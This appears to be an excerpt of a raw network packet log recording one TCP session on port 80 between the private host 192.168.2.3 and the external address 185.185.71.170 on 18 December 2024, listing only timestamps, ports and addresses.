Dec 18, 2024 20:56:40.349056959 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.350239038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.350246906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.350676060 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.351488113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.351495981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.351799011 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.352762938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.352771044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.352782011 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.352823973 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.353938103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.353952885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.354015112 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.355176926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.355182886 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.355329990 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.489940882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.490078926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.490144014 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.490549088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.490556002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.490771055 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.491499901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.491950989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.492108107 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.492360115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.492367029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.492439985 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.493182898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.493609905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.493697882 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.494072914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.494080067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.494230032 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.495031118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.495055914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.495277882 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.496140003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.496676922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.496872902 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.497422934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.497430086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.497486115 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.498527050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.498537064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.498625040 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.499778032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.499795914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.499878883 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.500952959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.500963926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.501219988 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.501992941 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.502001047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.502087116 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.503015995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.503022909 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.503253937 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.504095078 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.504102945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.504234076 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.505220890 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.505228996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.505299091 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.506458998 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.506472111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.506513119 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.507451057 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.507458925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.507504940 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.508559942 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.508568048 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.508629084 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.509741068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.509753942 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.509872913 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.510793924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.510802031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.510871887 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.512059927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.512068033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.512171030 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.513016939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.513024092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.513186932 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.514163971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.514170885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.514249086 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.515274048 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.516534090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.516541958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.516547918 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.516603947 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.517699003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.517704964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.517786980 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.518742085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.518749952 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.518831015 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.520090103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.520106077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.520164013 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.521131992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.521138906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.521199942 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.522363901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.522372961 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.522463083 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.523447990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.523456097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.523519039 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.524588108 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.524595022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.524658918 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.525830984 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.525839090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.525949001 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.527065992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.527072906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.527148962 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.528326035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.528335094 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.528381109 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.529520988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.529529095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.529604912 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.530745029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.530760050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.530766964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.530818939 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.531992912 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.532001019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.532061100 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.533221960 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.533230066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.533268929 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.534503937 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.534535885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.534573078 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.535717964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.535737038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.535840988 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.536968946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.536976099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.537240982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.538232088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.538239956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.538250923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.538291931 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.539429903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.539444923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.539529085 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.540797949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.540805101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.540853977 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.541886091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.541917086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.542001009 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.543154001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.543171883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.543176889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.543332100 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.544445992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.544454098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.544569016 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.545614958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.545630932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.545788050 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.546854019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.546869040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.546969891 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.548144102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.548152924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.548188925 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.680650949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.680951118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.681008101 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.681562901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.682141066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.682195902 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.682636023 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.683193922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.683259964 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.683773041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.683785915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.683881998 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.684885025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.684900045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.684967995 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.685956955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.686501026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.686552048 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.687097073 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.687108994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.687165976 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.690088987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.690107107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.690155983 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.691303968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.691337109 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.691390991 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.692348003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.692389965 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.692434072 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.693555117 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.693567038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.693609953 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.694566965 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.694581032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.694617987 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.695705891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.695718050 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.695764065 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.696916103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.696928024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.696963072 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.698170900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.698183060 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.698242903 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.699343920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.699362993 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.699408054 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.700694084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.701852083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.701879025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.701906919 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.703114986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.703136921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.703165054 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.704385042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.704396963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.704430103 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.705573082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.705585957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.705616951 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.706800938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.706814051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.706845999 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.708134890 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.708148956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.708159924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.708185911 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.708200932 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.709320068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.709332943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.709367990 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.710557938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.710571051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.710633039 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.711868048 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.711882114 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.711927891 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.713043928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.713059902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.713071108 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.713112116 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.714293957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.714308023 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.714350939 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.715502977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.715516090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.715557098 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.716747046 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.716758966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.716794968 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.717992067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.718025923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.718035936 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.719191074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.719259024 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.719289064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.720503092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.720566988 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.721760988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.721775055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.721811056 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.722945929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.722959995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.722995996 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.724200964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.724215031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.724250078 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.725455999 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.726718903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.726732016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.726772070 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.727890968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.727922916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.727941036 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.729163885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.729178905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.729221106 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.730381966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.730395079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.730457067 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.731612921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.731626034 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.731689930 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.732898951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.732906103 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.732911110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.732955933 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.732964039 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.734102964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.734122038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.734169006 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.735336065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.735349894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.735385895 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.736571074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.736583948 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.736624956 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.737795115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.737816095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.737827063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.737864017 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.739083052 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.739097118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.739142895 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.740283966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.740297079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.740325928 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.741514921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.741527081 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.741563082 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.742791891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.742805958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.742836952 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.743967056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.743989944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.744012117 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.744021893 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.744035006 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.744048119 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.790582895 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.872808933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.873049021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:40.873106003 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:40.873625040 CET	80	49747	185.185.71.170	192.168.2.3
